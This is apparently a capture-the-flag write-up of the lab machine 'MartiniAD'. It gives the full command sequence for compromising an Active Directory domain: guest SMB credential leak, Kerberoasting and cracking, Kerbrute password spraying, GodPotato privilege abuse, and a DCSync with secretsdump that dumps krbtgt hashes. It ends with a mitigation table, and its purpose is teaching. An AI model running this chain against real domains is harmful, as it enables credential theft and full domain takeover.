> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hacksmarter/martiniad-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# MartiniAD Writeup

## Summary

martiniAD is a Windows Active Directory machine built around the domain `DRY.MARTINI.BARS`. Initial access starts from a writable guest-accessible SMB share that leaks a cleartext password, which pivots into Kerberoasting a service account, cracking its TGS hash, and lateral movement through a password-spray that reuses the cracked credential across a second user, `athena.t0`. That account's token already carries a near-admin privilege set on the Domain Controller itself (`SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeRestorePrivilege`, `SeDebugPrivilege`), so there's no real privilege-escalation hurdle left - `athena.t0` is local-admin-equivalent on DC01 by virtue of those privileges alone. The only thing left to grab is the domain's crown jewel: the `krbtgt` hash, pulled straight out via a DCSync.

Key techniques: anonymous/guest SMB enumeration, credential leakage via a writable share, Kerberoasting, offline hash cracking (John + rockyou), password spraying with Kerbrute, privileged-token abuse on a Domain Controller, and DCSync via secretsdump.

### Reconnaissance

Port scanning with RustScan/Nmap against the target showed a classic Domain Controller profile - Kerberos, LDAP, SMB, RPC, and WinRM all open, with the certificate and RDP NTLM info confirming the hostname and domain.

```
rustscan -a $MACHINE_IP --ulimit 5000
Open $MACHINE_IP:53
Open $MACHINE_IP:88
Open $MACHINE_IP:135
Open $MACHINE_IP:139
Open $MACHINE_IP:389
Open $MACHINE_IP:445
Open $MACHINE_IP:464
Open $MACHINE_IP:593
Open $MACHINE_IP:636
Open $MACHINE_IP:3269
Open $MACHINE_IP:3268
Open $MACHINE_IP:3389
Open $MACHINE_IP:5985
Open $MACHINE_IP:9389
Open $MACHINE_IP:49664,49668,49669,49670,49677,49678,49697,49710

nmap -sC -sV $MACHINE_IP -p 53,88,135,139,389,445,464,593,636,3269,3268,3389,5985,9389,49664,49670,49668,49669,49678,49677,49697,49710
...
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info:
|   Target_Name: DRY
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: DRY.MARTINI.BARS
|   Product_Version: 10.0.26100
```

The domain and DC hostname were added to `/etc/hosts`:

```
echo '$MACHINE_IP DRY.MARTINI.BARS DC01.DRY.MARTINI.BARS dry.martini.bars' >> /etc/hosts
```

### SMB enumeration and credential leak

A null session enumerated shares, and a `notes` share stood out with READ/WRITE for the `guest` account:

```
nxc smb $MACHINE_IP -u '' -p '' --shares
nxc smb $MACHINE_IP -u 'guest' -p '' --shares
...
SMB   $MACHINE_IP   445   DC01   notes   READ,WRITE
```

Connecting to it and pulling the file revealed a cleartext credential tucked under a personal to-do list:

```
smbclient //$MACHINE_IP/notes -U DC01.dry.martini.bars -N
smb: \> get notes.txt

cat notes.txt
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint

creds
mprice:*martini*
```

### Validating mprice and Kerberoasting

The leaked `mprice:*martini*` credential worked over SMB and RDP:

```
nxc smb $MACHINE_IP -u mprice -p '*martini*' --shares
nxc rdp $MACHINE_IP -u mprice -p '*martini*'
```

Using `mprice`'s authenticated LDAP access, `GetUserSPNs.py` found a Kerberoastable service account, `ATHENA_SVC`, with an SPN of `HTTP/athena.dry.martini.bar`:

```
GetUserSPNs.py dry.martini.bars/mprice:'*martini*' -dc-ip $MACHINE_IP -dc-host DC01.dry.martini.bars -request

ServicePrincipalName         Name        MemberOf                           PasswordLastSet             LastLogon  Delegation
HTTP/athena.dry.martini.bar  ATHENA_SVC  CN=Remote Management Users,...     2026-01-20 23:50:32.856622  <never>

$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$...
```

The TGS was saved to `athena_svc.hash` and cracked offline with John against rockyou in a few seconds:

```
john --format=krb5tgs athena_svc.hash --wordlist=/usr/share/wordlists/rockyou.txt
1dirtymartini    (?)
1g 0:00:00:03 DONE
```

### Foothold as athena\_svc

The cracked password granted WinRM access to `athena_svc`:

```
nxc winrm $MACHINE_IP -u athena_svc -p '1dirtymartini'
WINRM   $MACHINE_IP   5985   DC01   [+] DRY.MARTINI.BARS\athena_svc:1dirtymartini (Pwn3d!)

evil-winrm -i $MACHINE_IP -u athena_svc -p 1dirtymartini
*Evil-WinRM* PS C:\Users\ATHENA_SVC\Documents> whoami
dry\athena_svc
```

`whoami /all` showed only ordinary group membership (Remote Management Users, Remote Desktop Users) and no notable privileges, so this session didn't lead anywhere directly. RDP and BloodHound against `mprice` were tried in parallel and also didn't pan out.

### Building a user list and spraying

With `athena_svc` authenticated, an RID brute-force pulled the full list of domain users for a password spray:

```
nxc smb $MACHINE_IP -u athena_svc -p '1dirtymartini' --rid-brute | grep 'SidTypeUser' | grep -oP '(?<=DRY\\)[^\s]+' > users_only.txt

cat users_only.txt
Administrator
Guest
krbtgt
DC01$
mprice
athena.t0
ATHENA_SVC
```

Spraying the only cracked password across that list with Kerbrute showed it had been reused on a second, more interesting account:

```
kerbrute passwordspray --dc DC01.DRY.MARTINI.BARS -d dry.martini.bars users_only.txt 1dirtymartini

[+] VALID LOGIN:  athena.t0@dry.martini.bars:1dirtymartini
[+] VALID LOGIN:  ATHENA_SVC@dry.martini.bars:1dirtymartini
Done! Tested 7 logins (2 successes) in 1.318 seconds
```

`athena.t0` also had WinRM access:

```
nxc winrm $MACHINE_IP -u athena.t0 -p '1dirtymartini'
WINRM   $MACHINE_IP   5985   DC01   [+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
```

Logging in and checking `whoami /all` showed `athena.t0` was not directly a Domain Admin, but the account's token had an unusually large set of enabled privileges for a standard user - notably `SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeRestorePrivilege`, `SeDebugPrivilege`, and `SeEnableDelegationPrivilege`:

```
*Evil-WinRM* PS C:\Users\athena.t0\Documents> whoami
dry\athena.t0

*Evil-WinRM* PS C:\Users\athena.t0\Documents> net localgroup administrators
Members
Administrator
Domain Admins
Enterprise Admins
```

`athena.t0` itself isn't in that list, but on a Domain Controller those enabled privileges (`SeBackupPrivilege`/`SeRestorePrivilege` alone can read and write any file on disk including `NTDS.dit`; `SeImpersonatePrivilege` opens the door to a Potato-style SYSTEM coercion) already put the account on par with local admin. GodPotato was tried against this token to confirm a SYSTEM shell was reachable via DCOM/RPCSS coercion:

```
*Evil-WinRM* PS C:\Users\athena.t0\Desktop> upload /home/hacksmarter/GodPotato-NET4.exe

*Evil-WinRM* PS C:\Users\athena.t0\Desktop> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] PID : 972 Token:0x712  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1448
```

That confirmed SYSTEM was reachable, but it's a detour, not a requirement - the goal here is just the `krbtgt` hash, and `athena.t0`'s privileges already allow that remotely without needing a local SYSTEM shell on the box at all.

### Domain compromise via DCSync

`secretsdump.py` was run directly against the DC using `athena.t0`'s credentials to extract the `krbtgt` account's secrets via the DRSUAPI (DCSync) method - no local shell or further escalation needed:

```
secretsdump.py DRY.MARTINI.BARS/athena.t0:1dirtymartini@$MACHINE_IP -just-dc-user krbtgt

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:[REDACTED]
krbtgt:aes128-cts-hmac-sha1-96:[REDACTED]
krbtgt:0x17:[REDACTED]
```

With the `krbtgt` NT hash in hand, an attacker could forge a Golden Ticket for persistent, fully-privileged domain access.

### Attack chain

```
Anonymous/Guest SMB session
└── "notes" share (READ/WRITE for guest)
    └── notes.txt leaks mprice:*martini*
        └── mprice valid over SMB/RDP (LDAP access)
            └── GetUserSPNs.py -> Kerberoast ATHENA_SVC (HTTP/athena.dry.martini.bar SPN)
                └── Crack TGS hash offline (John + rockyou) -> 1dirtymartini
                    ├── WinRM as athena_svc (dead end / rabbit hole)
                    └── Kerbrute password spray (reused password)
                        └── athena.t0:1dirtymartini valid (WinRM)
                            └── Privileged token on DC01 (SeImpersonate/SeBackup/SeRestore/SeDebug) = local-admin-equivalent
                                ├── GodPotato (RPCSS/DCOM coercion) -> NT AUTHORITY\SYSTEM [confirmed reachable, not needed]
                                └── secretsdump.py -just-dc-user krbtgt (DCSync, direct with athena.t0 creds)
                                    └── Full domain compromise (krbtgt hash / Golden Ticket capable)
```

### Key vulnerabilities and mitigations

| Vulnerability                                                                                                                                                        | Mitigation                                                                                                                                                                                                                                             |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Guest/anonymous SMB access to a writable share containing cleartext credentials                                                                                      | Disable guest/anonymous SMB access; audit all shares for anonymous/guest permissions; never store credentials in plaintext files on shares                                                                                                             |
| Kerberoastable service account (`ATHENA_SVC`) with a crackable password                                                                                              | Use long, random passwords (25+ chars) or gMSA accounts for service accounts; monitor for TGS requests to sensitive SPNs                                                                                                                               |
| Password reuse across multiple domain accounts (`athena_svc` / `athena.t0`)                                                                                          | Enforce unique passwords per account; deploy a password-spray-aware lockout policy and monitor for spray patterns                                                                                                                                      |
| High-impact privileges (`SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeRestorePrivilege`, `SeDebugPrivilege`) enabled for a non-admin user on a Domain Controller | Treat these privileges as admin-equivalent and restrict them strictly to service/admin accounts; follow least-privilege for logon rights on DCs; apply Potato-attack mitigations (patched RPCSS behavior, restricting local token creation) regardless |
| DCSync (replication) rights reachable from a standard-looking domain account                                                                                         | Audit `DS-Replication-Get-Changes`/`-All` ACLs regularly; monitor DRSUAPI/replication requests from non-DC accounts; rotate `krbtgt` (twice) after any suspected compromise                                                                            |
